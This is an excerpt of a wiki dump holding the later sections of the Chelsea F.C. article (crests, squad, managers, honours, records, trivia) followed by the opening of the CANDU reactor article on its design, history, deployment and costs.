2005-06 is Chelsea's centenary season, and is being marked by the introduction of a new badge based on an old time badge, and by various special events. Chelsea has signed a five-year £10 million a year shirt sponsorship deal with Korean electronics company [[Samsung]], which runs from the 2005-06 season. This is the largest annual shirt sponsorship yet agreed by an English football club. Chelsea has also agreed a new kit deal with [[Adidas]], worth approximately £12 million a year to the club, and effective from the 2006-07 season. Chelsea are currently top of the Premiership table. [http://www.chelseafc.com/article.asp?hlid=252757&amp;m=1&amp;y=2005&amp;nav=news&amp;sub=latest+news] 
&lt;!--
*** POLITE SUGGESTION to potential editors: This article is already too long by Wikipedia standards and it has been suggested that the temptation to provide a match by match commentary here throughout the season should be resisted.  See Talk page. *** I need to know the scores for the steve Clarke Benefit Game 11th august 1996 Chelsea v. PSV Eindhoven

--&gt;

===Crest===
[[Image:Cfcpensioner.gif|thumb|left|160px|Chelsea's first crest]]  
[[Image:Chelsea's old badge.jpg|thumb|160px|Club crest 1953-1986]]
[[Image:Cfcbadge.gif|thumb|160px|Club crest 1986-2005]]
Since the club's foundation, Chelsea have had four main crests, though all underwent minor variations. In 1905, Chelsea adopted as its first crest the image of a Chelsea pensioner, which obviously contributed to the ''pensioner'' [[nickname]], and remained for the next half-century, though it never appeared on the shirts. As part of new manager [[Ted Drake]]'s modernisation of the club from [[1952]], he insisted that the pensioner badge be removed from the match day programme in order to change the club's image and that a new crest be adopted. As a stop-gap, a temporary emblem comprising simply the initials C.F.C. was adopted for one year. In [[1953]], the club adopted what is arguably its most famous crest - that of an upright blue [[lion]] looking backwards and holding a [[staff (stick)|staff]] - which was to endure for the next three decades. The crest was based on elements in the [[coat of arms]] of the [[Metropolitan Borough of Chelsea]] (discussed and illustrated [http://www.civicheraldry.co.uk/lcc.html#chelsea%20bc on this website]) with the &quot;lion rampant regardant&quot; taken from the arms of then club president [[Earl Cadogan|Viscount Chelsea]] and the staff from the [[Westminster Abbey|Abbots of Westminster]], former Lords of the Manor of Chelsea.  This was also the first club badge to appear on shirts, since the policy of putting the crest on the shirts was only adopted in the early 1960's.

In [[1986]], with new owners now at the club, Chelsea's crest was changed again as part of another attempt to modernise and to capitalise on new [[marketing]] opportunities, because new Chairman Ken Bates was advised he had not acquired any copyright in the existing crest. The new badge featured a more naturalistic non-heraldic lion, yellow and not blue, standing over the C.F.C. initials.  It lasted for the next 19 years, though with some modifications such as the use of different colours. With new ownership, and the club's [[centenary]] approaching, combined with demands from fans for the club's traditional badge to be restored, it was decided that the crest should be changed again in [[2004]]. The new crest was officially adopted for the start of the 2005-6 season and marks a return to the older design of the blue heraldic lion holding a staff.

==Current players==
{{Fs start}}
{{Fs player | no=1  | nat=Czech Republic | pos=GK | name= [[Petr Cech]]}}
{{Fs player | no=2  | nat=England        | pos=DF | name= [[Glen Johnson (footballer)|Glen Johnson]]}}
{{Fs player | no=3  | nat=Spain          | pos=DF | name= [[Asier del Horno]]}}
{{Fs player | no=4  | nat=France         | pos=MF | name= [[Claude Makélélé]]}}
{{Fs player | no=5  | nat=Ghana          | pos=MF | name= [[Michael Essien]]}}
{{Fs player | no=6  | nat=Portugal       | pos=DF | name= [[Ricardo Carvalho]]}}
{{Fs player | no=7  | nat=Portugal       | pos=MF | name= [[Maniche]] | other=on loan from [[FC Dynamo Moscow|Dynamo Moscow]]}}
{{Fs player | no=8  | nat=England       | pos=MF | name= [[Frank Lampard]]}}
{{Fs player | no=9  | nat=Argentina      | pos=FW | name= [[Hernán Crespo]]}}
{{Fs player | no=10 | nat=England      | pos=MF | name= [[Joe Cole (footballer)|Joe Cole]]}}
{{Fs player | no=11 | nat=Ireland        | pos=MF | name= [[Damien Duff]]}}
{{Fs player | no=12 | nat=England       | pos=FW | name= [[Carlton Cole]]}}
{{Fs player | no=13 | nat=France         | pos=DF | name= [[William Gallas]]}}
{{Fs mid}}
{{Fs player | no=14 | nat=Cameroon       | pos=MF | name= [[Geremi Njitap|Geremi]]}}
{{Fs player | no=15 | nat=Ivory Coast    | pos=FW | name= [[Didier Drogba]]}}
{{Fs player | no=16 | nat=Netherlands    | pos=MF | name= [[Arjen Robben]]}}
{{Fs player | no=19 | nat=France         | pos=MF | name= [[Lassana Diarra]]}}
{{Fs player | no=20 | nat=Portugal       | pos=DF | name= [[Paulo Ferreira]] }}
{{Fs player | no=22 | nat=Iceland        | pos=FW | name= [[Eidur Gudjohnsen]]}}
{{Fs player | no=23 | nat=Italy          | pos=GK | name= [[Carlo Cudicini]]}}
{{Fs player | no=24 | nat=England        | pos=MF | name= [[Shaun Wright-Phillips]]}}
{{Fs player | no=26 | nat=England        | pos=DF | name= [[John Terry]]}} (captain)
{{Fs player | no=29 | nat=Germany        | pos=DF | name= [[Robert Huth]]}}
{{Fs player | no=40 | nat=England        | pos=GK | name= [[Lenny Pidgeley]]}}
{{Fs player | no=42 | nat=ENG            | pos=MF | name= [[Anthony Grant]]}}
{{Fs player | no=-- | nat=ENG           | pos=FW | name= [[Scott Sinclair]]}}
{{Fs end}}

===Players out on loan===
{|
{{Fs player | no=18 | nat=England        | pos=DF | name= [[Wayne Bridge]] | other=at [[Fulham F.C.|Fulham]] until summer [[2006]]}}
{{Fs player | no=20| nat=Argentina       | pos=MF | name= [[Juan Sebastián Verón]] | other=at [[Internazionale Milano F.C.|Inter]] until summer [[2007]]}}
{{Fs player | no=5| nat=Russia           | pos=MF | name= [[Alexei Smertin]] | other=at [[Charlton Athletic F.C.|Charlton Athletic]], season-long}}
{{Fs player | no=27| nat=Czech Republic  | pos=MF | name= [[Jirí Jarošík]] | other=at [[Birmingham City F.C.|Birmingham City]], season-long}}
{{Fs player | no=41 | nat=BEL            | pos=GK | name= [[Yves Ma-Kalambay]]|other=at [[Watford F.C.|Watford]], until [[March]] [[2006]]}}
|}

==Notable former players==
{|
|valign=&quot;top&quot;|
*[[Ken Armstrong]]
*[[Tommy Baldwin]]
*[[Dave Beasant]]
*[[Roy Bentley]]
*[[Frank Blunstone]]
*[[Peter Bonetti]]
*[[Barry Bridges]]
*[[Craig Burley]]
*[[Steve Clarke]]
*[[Paul Canoville]]
*[[Charlie Cooke (footballer)|Charlie Cooke]]
*[[Jack Cock]]
*[[Marcel Desailly]]
*[[Kerry Dixon]]
*[[Gordon Durie]]
*[[Roberto Di Matteo]]
*[[Tore André Flo]]
*[[Albert Ferrer]]
*[[William Foulke (footballer)|William Foulke]]
|width=&quot;25&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Hughie Gallacher]]
*[[Jimmy Greaves]]
*[[George Graham (footballer)|George Graham]]
*[[Ruud Gullit]]
*[[Ron Harris (footballer)|Ron Harris]]
*[[John Hollins]]
*[[Alan Hudson]]
*[[Ian Hutchinson]]
*[[John Harris (footballer)|John Harris]]
*[[Jack Harrow]]
*[[Jimmy Floyd Hasselbaink]]
*[[George Hilsdon]]
*[[Ben Howard Baker]]
*[[Glenn Hoddle]]
*[[Mark Hughes]]
*[[Erland Johnsen]]
*[[Tommy Law]]
*[[Tommy Lawton]]
*[[Frank Leboeuf]]
|width=&quot;25&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Graeme Le Saux]]
*[[Colin Lee]]
*[[Eddie McCreadie]]
*[[Eddie Niedzwiecki]]
*[[Robert McRoberts]]
*[[Tommy Meehan]]
*[[John McNichol]]
*[[Nils Middelboe]]
*[[GR Mills]]
*[[George Mills]]
*[[Adrian Mutu]]
*[[Pat Nevin]]
*[[Peter Osgood]]
*[[Eric Parsons]]
*[[Dan Petrescu]]
*[[Gustavo Poyet]]
*[[Ken Shellito]]
*[[Peter Sillett]]
*[[Willi Steffen]]
|width=&quot;25&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Nigel Spackman]]
*[[David Speedie]]
*[[Bobby Tambling]]
*[[John Tait Robertson]]
*[[Jack Townrow]]
*[[Bob Turnbull]]
*[[Terry Venables]]
*[[Gianluca Vialli]]
*[[Ben Warren]]
*[[George Weah]]
*[[Sam Weaver]]
*[[Clive Walker]]
*[[David Webb (footballer)|David Webb]]
*[[Ray Wilkins]]
*[[Robert Whittingham]]
*[[Andrew Wilson (footballer)|Andrew Wilson]]
*[[Dennis Wise]]
*[[Vic Woodley]]
*[[Gianfranco Zola]]
|}

==Chelsea player of the year (1967-2005)==
{|
|valign=&quot;top&quot;|
{| class=&quot;wikitable&quot;
!Year
!Winner
|-
|1967||[[Peter Bonetti]]
|-
|1968||[[Charlie Cooke (footballer) |Charlie Cooke]]
|-
|1969||[[David Webb (footballer)|David Webb]]
|-
|1970||[[John Hollins]]
|-
|1971||[[John Hollins]]
|-
|1972||[[David Webb (footballer)|David Webb]]
|-
|1973||[[Peter Osgood]]
|-
|1974||[[Gary Locke]]
|-
|1975||[[Charlie Cooke (footballer) |Charlie Cooke]]
|-
|1976||[[Ray Wilkins]]
|-
|1977||[[Ray Wilkins]]
|-
|1978||[[Micky Droy]]
|-
|1979||[[Tommy Langley]]
|-
|1980||[[Clive Walker]]
|-
|1981||[[Peter Borota]]
|-
|1982||[[Mike Fillery]]
|-
|1983||[[Joey Jones]]
|-
|1984||[[Pat Nevin]]
|-
|1985||[[David Speedie]]
|-
|1986||[[Eddie Niedzwiecki]]
|}

|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
{| class=&quot;wikitable&quot;
!Year
!Winner
|-
|1987||[[Pat Nevin]]
|-
|1988||[[Tony Dorigo]]
|-
|1989||[[Graham Roberts (footballer)|Graham Roberts]]
|-
|1990||[[Ken Monkou]]
|-
|1991||[[Andy Townsend]]
|-
|1992||[[Paul Elliott]]
|-
|1993||[[Frank Sinclair]]
|-
|1994||[[Steve Clarke]]
|-
|1995||[[Erland Johnsen]]
|-
|1996||[[Ruud Gullit]]
|-
|1997||[[Mark Hughes]]
|-
|1998||[[Dennis Wise]]
|-
|1999||[[Gianfranco Zola]]
|-
|2000||[[Dennis Wise]]
|-
|2001||[[John Terry]]
|-
|2002||[[Carlo Cudicini]]
|-
|2003||[[Gianfranco Zola]]
|-
|2004||[[Frank Lampard]]
|-
|2005||[[Frank Lampard]]
|}

|}

== Managers ==
{| class=&quot;wikitable&quot;
!Name
!Period
|-
|[[John Tait Robertson]]
|[[1905]] - [[1907]]
|-
|[[David Calderhead]]
|[[1907]] - [[1933]]
|-
|[[Leslie Knighton]]
|[[1933]] - [[1939]]
|-
|[[Billy Birrell]]
|[[1939]] - [[1952]]
|-
|[[Ted Drake]]
|[[1952]] - [[1961]]
|-
|[[Tommy Docherty]]
|[[1962]] - [[1967]]
|-
|[[Dave Sexton]]
|[[1967]] - [[1974]]
|-
|[[Ron Suart]]
|[[1974]] - [[1975]]
|-
|[[Eddie McCreadie]]
|[[1975]] - [[1977]]
|-
|[[Ken Shellito]]
|[[1977]] - [[1978]]
|-
|[[Danny Blanchflower]]
|[[1978]] - [[1979]]
|-
|[[Geoff Hurst]]
|[[1979]] - [[1981]]
|-
|[[John Neal (footballer)|John Neal]]
|[[1981]] - [[1985]]
|-
|[[John Hollins]]
|[[1985]] - [[1988]]
|-
|[[Bobby Campbell (footballer)|Bobby Campbell]]
|[[1988]] - [[1991]]
|-
|[[Ian Porterfield]]
|[[1991]] - [[1993]]
|-
|[[David Webb (footballer)|David Webb]]
|[[1993]]
|-
|[[Glenn Hoddle]]
|[[1993]] - [[1996]]
|-
|[[Ruud Gullit]]
|[[1996]] - [[1998]]
|-
|[[Gianluca Vialli]]
|[[1998]] - [[2000]]
|-
|[[Claudio Ranieri]]
|[[2000]] - [[2004]]
|-
|[[José Mourinho]]
|[[2004]] - 
|-
|}
==Honours==
*'''[[FA Premier League|League Championship]]'''
**'''Winners:'''  1955, 2005 
*'''[[Football League Second Division|2nd Division]]'''
**'''Winners:''' 1984, 1989
*'''[[FA Cup]]'''
**'''Winners:''' 1970, 1997, 2000
*'''[[League Cup]]'''
**'''Winners:''' 1965, 1998, 2005
*'''[[FA Charity Shield]]/[[FA Community Shield|Community Shield]]'''
**'''Winners:''' 1956, 2000, 2005
*'''[[Full Members Cup|Full Members' Cup]]'''
**'''Winners:''' 1986, 1990
*'''[[Cup Winners' Cup|UEFA Cup Winners' Cup]]'''
**'''Winners:''' 1971, 1998
*'''[[European Super Cup|UEFA Super Cup]]'''
**'''Winners:''' 1998
*'''[[FA Youth Cup]]'''
**'''Winners:''' 1960, 1961

==Club Records==
*'''Record League Victory:''' 9-2 v [[Glossop North End A.F.C.|Glossop]], [[Football League Second Division|Division 2]], [[1 September]], [[1906]]
*'''Record Cup Victory:''' 13-0 v Jeunesse Hautcharage, [[Cup Winners' Cup]], 1st Round 2nd Leg, [[29 September]] [[1971]]
*'''Record Defeat:''' 1-8 v [[Wolverhampton Wanderers F.C.|Wolverhampton Wanderers]], [[Football League First Division|Division 1]], [[26 September]] [[1953]]
*'''Record Cup Defeat:''' 0-6 v [[Sheffield Wednesday F.C.|Sheffield Wednesday]], [[FA Cup|FA Cup Round 2 Replay]], [[5 February]] [[1913]]

*'''Most League Points (2 for a win):''' 57, [[Football League Second Division|Division 2]], 1906-1907
*'''Most League Points (3 for a win):''' 99, [[Football League Second Division|Division 2]], 1988-1989

*'''Most League Goals:''' 98, [[Football League First Division|Division 1]], 1960-1961
*'''Highest League Scorer in Season:''' [[Jimmy Greaves]], 41, 1960-1961
*'''Most League Goals in Total Aggregate:''' [[Bobby Tambling]], 164, 1958-1970
*'''Most League Goals in One Match:'''
**5, [[George Hilsdon]] v [[Glossop North End A.F.C.|Glossop]], [[Football League Second Division|Division 2]], [[1 September]], [[1906]]
**5,  [[Jimmy Greaves]] v [[Wolverhampton Wanderers F.C.|Wolverhampton Wanderers]], [[Football League First Division|Division 1]], [[30 August]], [[1958]] 
**5, [[Jimmy Greaves]] v [[Preston North End F.C.|Preston North End]], [[Football League First Division|Division 1]], [[19 December]], [[1959]] 
**5, [[Jimmy Greaves]] v [[West Bromwich Albion F.C.|West Bromwich Albion]], [[Football League First Division|Division 1]], [[3 December]], [[1960]]
**5, [[Bobby Tambling]] v [[Aston Villa F.C.|Aston Villa]], [[Football League First Division|Division 1]], [[17 September]], [[1966]]
**5, [[Gordon Durie]] v [[Walsall F.C.|Walsall]], [[Football League Second Division|Division 2]], [[4 February]], [[1989]]
*'''All-time top goalscorers:'''
**202, [[Bobby Tambling]] (1958-70)
**193, [[Kerry Dixon]] (1983-92)
**150, [[Roy Bentley]] (1948-56)
**150, [[Peter Osgood]] (1964-74 &amp; 1978-9)
**132, [[Jimmy Greaves]] (1957-61)
**123, [[George Mills]] (1929-43)
**107, [[George Hilsdon]] (1906-12)

*'''Most Capped Player:''' [[Marcel Desailly]], 67 (116), [[France national football team|France]]
*'''Most League Appearances:''' [[Ron Harris (footballer)|Ron Harris]], 655, (1962-80)
*'''Most Appearances in Total:'''
**795, [[Ron Harris (footballer)|Ron Harris]], (1962-1980)
**729, [[Peter Bonetti]] (1959-79)
**592, [[John Hollins]] (1963-75 &amp; 1983-84)
**445, [[Dennis Wise]] (1990-01)
**421, [[Steve Clarke]] (1987-98)
*'''Youngest League Player:''' [[Ian Hamilton (footballer)|Ian Hamilton]], 16 years 138 days v [[Tottenham Hotspur F.C.|Tottenham Hotspur]], [[18 March]] [[1967]]
*'''Record Transfer Fee Received:''' £12,000,000 from [[Rangers F.C.|Rangers]] for [[Tore André Flo]], [[November]] [[2000]]
*'''Record Transfer Fee Paid:''' £24,400,000 to [[Olympique Lyonnais|Lyon]] for [[Michael Essien]], [[August]] [[2005]]
*'''Longest Sequence of League Wins:''' 10, [[19 November]] [[2005]] - [[15 January]] [[2006]]
*'''Longest Sequence of League Defeats:''' 7, [[1 November]] [[1952]] - [[20 December]] [[1952]]
*'''Longest Sequence of League Draws:''' 6, [[20 August]] [[1969]] - [[13 September]] [[1969]]
*'''Longest Sequence of Unbeaten League Matches:''' 40, [[23 October]] [[2004]] - [[29 October]] [[2005]]
*'''Longest Sequence Without a League Win:''' 21, [[3 November]] [[1987]] - [[2 April]] [[1988]]
*'''Successive scoring Runs:''' 27 from [[29 October]] [[1988]]
*'''Successive Non-scoring runs:''' 9 from [[14 March]] [[1981]]
*'''Highest home attendance:''' 82,905 v [[Arsenal F.C.|Arsenal]], [[Football League First Division|Division 1]], [[12 October]], [[1935]] (an estimated crowd of 100,000 attended a friendly match against [[FC Dynamo Moscow|Dynamo Moscow]], [[13 November]], [[1945]])

==Trivia==
*Chelsea gained admission to the Football League in [[1905]] despite having never played a competitive fixture.
*Chelsea, along with [[Arsenal F.C.|Arsenal]], were the first club to play with shirt numbers on [[25 August]] [[1928]] in their match against [[Swansea Town F.C.|Swansea Town]].
*Chelsea's highest attendance - 82,905 - in a home match against Arsenal on [[12 October]], [[1935]] is also the highest ever for an [[England|English]] [[Football League]] match.
*Chelsea's points [[ratio]] in their [[1954-55 in English football|1954-55]] title-winning season (1.71 per game) is the lowest ever for an English Championship-winning side. Conversely, their points total of 95 for their [[FA Premier League 2004-05|2004-05]] title-winning season is the highest.
*Chelsea were the first English side to travel by [[aeroplane]] to an away match, when they visited [[Newcastle United F.C.|Newcastle United]] on [[19 April]] [[1957]].
*Chelsea were the first [[Football League First Division|First Division]] side to play a match on a [[Sunday]], when they faced [[Stoke City F.C.|Stoke City]] on [[27 January]] [[1974]].
*On [[Boxing Day]] [[1999]], Chelsea became the first British side to field an entirely foreign (non-[[United Kingdom|UK]]) line-up in a [[Premier League]] match against [[Southampton F.C.|Southampton]].
*In their 69 seasons in the top-flight, Chelsea have finished in every position (1st to 22nd) at least once:

&lt;pre&gt;
1st:  2    5th:  5    9th:  2    13th: 5    17th: 1    21st: 2
2nd:  1    6th:  7    10th: 1    14th: 4    18th: 6    22nd: 2
3rd:  4    7th:  1    11th: 6    15th: 1    19th: 6
4th:  2    8th:  3    12th: 5    16th: 2    20th: 2
&lt;/pre&gt;

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|euro}} There was at the time an ambivalent and somewhat arrogant attitude towards foreign competitions among the English football authorities, best demonstrated by England's non-participation in the world cup finals until 1950. The pressure put on club chairman Joe Mears to withdraw is referenced in this [http://www.telegraph.co.uk/sport/main.jhtml?xml=/sport/2005/04/06/sfnphi06.xml&amp;sSheet=/sport/2005/04/06/ixfooty.html ''Telegraph'' article]. See also {{cite book | author=Greaves, Jimmy | title=Greavsie | publisher=Time Warner Books| year=2003| id=ISBN 0316725293}}, ch2, for a brief account of the affair.
&lt;/div&gt;

==References==
*{{cite book | author=Batty, Clive | title=Kings of the King's Road: The Great Chelsea Team of the 60s and 70s| publisher=Vision Sports Publishing Ltd| year=2004| id=ISBN 0954642813}}
*{{cite book | author=Batty, Clive | title=A Serious Case of the Blues: Chelsea in the 80s| publisher=Vision Sports Publishing Ltd| year=2005| id=ISBN 1905326025}}
*{{cite book | author=Glanvill, Rick | title=Chelsea FC: The Official Biography - The Definitive Story of the First 100 Years| publisher=Headline Book Publishing Ltd| year=2005| id=ISBN 0755314654}}
*{{cite book | author=Hadgraft, Rob | title=Chelsea: Champions of England 1954-55| publisher=Desert Island Books Limited| year=2004| id=ISBN 1874287775}}
*{{cite book | author=Harris, Harry | title=Chelsea's Century| publisher=Blake Publishing| year=2005| id=ISBN 184454110X}}
*{{cite book | author=Ingledew, John | title=And Now Are You Going to Believe Us: Twenty-five Years Behind the Scenes at Chelsea FC| publisher=John Blake Publishing Ltd| year=2006| id=ISBN 1844542475}}
*{{cite book | author=Matthews, Tony | title=Who's Who of Chelsea | publisher=Mainstream Publishing| year=2005| id=ISBN 1845960106}}
*{{cite book | author=Mears, Brian | title=Chelsea: A 100-year History | publisher=Mainstream Sport| year=2004| id=ISBN 1840188235}}
*{{cite book | author=Mears, Brian | title=Chelsea: Football Under the Blue Flag| publisher=Mainstream Sport| year=2002| id=ISBN 1840186585}}

==External links==
{{BBC Football Info|BBClinkname=c/chelsea}}
*[http://www.chelseafc.co.uk Official website]
*[http://www.chelseafcauctions.com Official Auction website]
*[http://soccernet.espn.go.com/team?id=363&amp;cc=5739 Soccernet's Chelsea coverage]
*[http://www.4thegame.com/club/cfc/ 4thegame.com's Chelsea page]
*[http://www.sportinglife.com/football/premiership/chelsea/news/ Chelsea coverage from Sportinglife.com]
*[http://www.cfc-net.co.uk/content/default.asp CFCnet]
*[http://www.chelseafc-blog.blogspot.com/ Unofficial Chelsea Blog]
*[http://www.chelseablog.com Chelsea Football Club Blog (Unofficial)]
*[http://www.sportnetwork.net/main/s379.htm 50 Years Over 100 Years]
*[http://www.chelseafootballclub.net/ Chelsea Football Club Fansite]
*[http://www.chelsea-mad.co.uk/ Chelsea MAD Fansite]
*[http://www.teamtalk.com/teamtalk/News/Story_Listing/0,,1773,00.html/ Chelsea FC news from Teamtalk.com]
*[http://footballclubs.dyndns.org/multiclubcities.php?co=england&amp;map=london&amp;showing=all%20clubs%20in%20Levels%201-6#chelsea Chelsea stadium location]
*[http://www.interviewbooks.com/chelsea.htm Chelsea Football Songs]
*[http://www.chelseavn.com Chelsea Fans Club Vietnam]
*[http://www.footballchants.org/viewChantsRecent.php?teams=10 Chelsea Football Chants]
*[http://www.resultsfromfootball.com/premierleague-team/chelsea.html Chelsea statistics]

{{Champions League 2005/06}}
{{FA_Premier_League}}

[[Category:English football clubs]]
[[Category:Chelsea F.C.| ]]
[[Category:FA Premier League]]
[[Category:1905 establishments]]
[[Category:Sport in London]]

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    </revision>
  </page>
  <page>
    <title>CANDU reactor</title>
    <id>7475</id>
    <revision>
      <id>41999378</id>
      <timestamp>2006-03-03T03:20:21Z</timestamp>
      <contributor>
        <username>BenBreen2003</username>
        <id>27787</id>
      </contributor>
      <minor />
      <comment>/* Chronology */  Minor spelling correction</comment>
      <text xml:space="preserve">The '''CANDU reactor''' is a [[Pressurised Heavy Water Reactor]] designed in the late [[1950s]] and [[1960s]] by a partnership between [[Atomic Energy of Canada Limited]] (AECL) and the [[Hydro-Electric Power Commission of Ontario]] (now known as [[Ontario Power Generation]]), as well as several private industry participants. The acronym &quot;CANDU&quot;, a registered trademark of [[Atomic Energy of Canada Limited]], stands for &quot;CANada Deuterium Uranium&quot;.  This is a reference to its deuterium oxide ([[heavy water]]) [[neutron moderator|moderator]] and its use of [[natural uranium]] fuel. All current power reactors in Canada are of the CANDU type. Canada markets this power-reactor product abroad.

==Design features==
[[Image:CANDU reactor schematic.png|thumb|right|400px|Schematic Diagram of a CANDU reactor.]]CANDU reactors have some unique design features that may provide advantages over other reactor designs:

*CANDU uses natural, [[enriched uranium|unenriched uranium]] (0.7% U-235) oxide as fuel; hence, it needs a more efficient [[neutron moderator|moderator]] than most other power reactor designs - in this case [[heavy water]] (D&lt;sub&gt;2&lt;/sub&gt;O, [[deuterium]] oxide&lt;!-- No need to Wikilink &quot;Deuterium oxide&quot; itself; that simply redirects back to &quot;Heavy Water&quot; --&gt;). This means that they can be operated without expensive [[uranium enrichment|fuel enrichment]] facilities.  Most less-developed countries find this attractive because they cannot afford the enrichment facilities, and cannot be assured of access to enriched uranium.  The [[Nuclear Non-Proliferation Treaty]] (NPT), which implements a safeguard regime under the auspices of the [[International Atomic Energy Agency]], regulates access to nuclear materials such as enriched uranium.  

*The moderator is in a large tank called a [[calandria]], penetrated by several hundred horizontal pressure tubes which form channels for the fuel, cooled by a flow of heavy water under high pressure in the primary cooling circuit, reaching 290 °C. The high pressure within the tank prevents heavy water from boiling. As in the [[pressurized water reactor]], the primary coolant generates steam in a secondary circuit to drive the turbines.  The pressure tube design means that the reactor can be refuelled continuously, without shutting down, as the fuel channels can be accessed individually. 

*CANDU are designed to be constructed without large pressure vessels.  The large pressure vessels commonly used in [[light-water]] reactors are extremely expensive, and require heavy industry that is lacking in many countries.  At the time, Canada lacked such industries, and designed the reactor not to require them.  Instead, the reactor pressurizes only small tubes that actually contain the fuel.  These tubes are constructed of a special [[zirconium]] [[alloy]] ([[Zircaloy]]) that is relatively transparent to neutrons. 

*A CANDU fuel assembly consists of a bundle of 37 half metre long [[fuel rod]]s ([[ceramic]] fuel pellets in [[zircaloy]] tubes) plus a support structure, with 12 bundles lying end to end in a fuel channel. [[Control rod]]s penetrate the calandria vertically, and a secondary shutdown system involves injecting [[gadolinium]] nitrate solution to the moderator.&lt;sup&gt;&lt;small&gt;[[#Notes|1]]&lt;/small&gt;&lt;/sup&gt; The heavy water moderator circulating through the body of the calandria vessel also yields some waste heat.

*Since the bulk moderator of the reactor is maintained at relatively low temperature and pressure, the equipment to monitor and act on the core is quite a bit less complex.  It only has to cope with high radiation and high [[neutron flux]].  In particular, the control rods and emergency equipment are simpler and more reliable than in other reactor types.

*The reactor has the least down-time of any known type.  This is partly because so much of the reactor operates at low temperatures and pressures.  It is also caused by the unique fuel-handling system.  The pressure tubes containing the fuel rods can be individually opened, and the fuel rods changed without taking the reactor out of service.  

*Another advantage is that fuel use is the most efficient known.  This is due to the use of heavy water as the moderator.  The efficiency is also increased because of the in-operation refuelling mechanism permits the fuel assemblies to be shuffled to the most efficient parts of the reactor core as their reactivity changes. Most other reactor designs need to insert degradable poisons in order to lower the high reactivity of their initial fresh fuel load.  This is not necessary in a CANDU.

*Another advantage of the fuel management system is that the reactors can potentially be operated as low temperature [[breeder reactor]]s.  CANDU can operate very efficiently because their [[neutron economy]] is so good.  They can breed fuel from natural [[thorium]], if uranium is unavailable.  CANDU can even be operated to &quot;burn&quot; former [[nuclear weapon]]s material ([[MOX]] fuel cycle) to a less-reactive state effectively rendering it useless for [[warhead]]s while at the same time turning the relatively easily handled weapons grade material into highly radioactive waste.  Fuel cycle tests also have included the &quot;DUPIC&quot; fuel cycle, or &quot;direct use of spent PWR fuel in CANDU&quot;, where used fuel from a PWR reactor is packaged into a CANDU fuel bundle with only physical reprocessing (cut into pieces) but no chemical reprocessing.  Where BWR designs require the reactivity associated with enriched fuel the DUPIC fuel cycle is possible in a CANDU due to the [[neutron economy]] which allows for the low-reactivity of natural uranium and used enriched fuel.

*After the classic CANDU design was certified, an experimental reactor was developed that used [[Petroleum|oil]] as the primary coolant.  The oil passed through a heat-exchanger to heat steam.  This reactor operated successfully for many years, and may be less expensive, more reliable and even safer than a classic CANDU reactor because the oil circulated at much lower pressures than the steam, and was less corrosive.  This was the now shutdown Whiteshell Reactor One or WR-1.  Gentilly-1 was also an experimental version of CANDU using a boiling water design but was not considered successful.

*CANDU's have a small positive [[void coefficient]] which is managed by fast control systems.

*For more information on CANDU technical details, see the [http://canteach.candu.org/ CANTEACH web site]

==Chronology==
The first CANDU-type reactor was the [[Nuclear Power Demonstrator]] (NPD), in Rolphton, Ontario. It was intented as a proof-of-concept design, and was rated for only 22 [[MWe]], a very low power for a commercial power reactor.  It produced the first nuclear-generated electricity in Canada, and ran successfully from 1962 to 1987.[http://www.cns-snc.ca/events/npd/npd_main_eng.htm], [http://archives.cbc.ca/IDC-1-75-104-896/science_technology/candu/clip3]

The second CANDU was the [[Douglas Point]] reactor, a more powerful version rated at roughly 200MWe and located near [[Kincardine]], Ontario.  Somewhat controversially, the Douglas Point project was started in 1959, even before NPD, the prototype CANDU, went on-line.  Douglas Point went into service in 1968, and ran until 1984. Uniquely among CANDU stations, Douglas Point incorporated an oil-filled window which offered a view of the east reactor face, even when the reactor was operating.  The Douglas Point type was exported to [[India]] and [[Pakistan]], and is the basis for India's domestic 'CANDU-derivatives'. Douglas Point was originally planned to be a two-unit station, but the second unit was cancelled because of the success of the larger 515 MWe units at [[Pickering Nuclear Generating Station|Pickering]].[http://www.cns-snc.ca/history/DouglasPoint/DouglasPoint.html], [http://www.cns-snc.ca/history/DouglasPoint/AECL-2400/AECL2400-1.html]

The successes at NPD lead to the decision to construct the first multi-unit station in Pickering, Ontario.  Pickering A, consisting of units 1 to 4, went into service in 1971.  Pickering B, consisting of units 5 to 8, went into service in 1983, giving a full-station capacity of 4120MWe.  The station is placed very close to the city of [[Toronto]], in order to reduce transmission costs.  The location of the station has long been a concern for activists, who feel it puts Toronto at risk should an accident and radioactive release occur.

Pickering A was placed into voluntary lay-up in 1997, as a part of Ontario Hydro's Nuclear Improvement plan.  Units 1 and 4 have since been returned to service, although not without considerable controversy regarding significant cost-overruns, especially on Unit 4. (The refurbishment of Unit 1 was essentially on-time and on-budget, accounting for delays in project startup imposed by the Ontario provincial government.)

In 2005, [[Ontario Power Generation]] announced that refurbishment of Units 2 and 3 at Pickering A would not be pursued, contrary to expectations. The reason for this change in plan was economic: the material condition of these units was much poorer than had existed for Units 1 and 4, particularly the condition of the steam generators, and thus the refurbishment costs would be much higher. This rendered a return-to-service of Units 2 and 3 uneconomical. A project to decommission these units is currently in the early stages of planning.

==Active CANDU reactors==
Today there are 29 CANDU reactors in use around the world, and a further 11 &quot;CANDU-Derivatives&quot; in use in India (these reactors were developed from the CANDU design after India detonated a nuclear bomb and Canada stopped nuclear dealings with it).
The countries the reactors are located in are:
*Canada - 16 (+2 refurbishing, +6 decommissioned)
*South Korea - 4
*China - 2
*India - 2
*Argentina - 1
*Romania - 1
*Pakistan - 1

==Economic and political concerns==
One economic disadvantage of the CANDU reactor design is the initial, one-time cost of the heavy water, although this high capital-cost penalty is generally offset by the CANDU reactor's lower fuelling cost compared to other designs, since it does not require [[enriched uranium]]. CANDU reactors require the purest grade of heavy water (better than 99.75% pure&lt;sup&gt;&lt;small&gt;[[#Notes|2]]&lt;/small&gt;&lt;/sup&gt;). Tonnes of this expensive material are required to fill a CANDU's calandria and heat transport system. High-purity heavy water is expensive because heavy water is almost indistinguishable, chemically, from normal water, and occurs in such low natural concentrations (roughly one part in 7000) in normal water. The next generation reactor (the [[Advanced CANDU Reactor]], also called the &quot;ACR&quot;) mitigates this disadvantage by having a smaller moderator size and by not using heavy water in the heat transport system (it uses light water as a coolant).

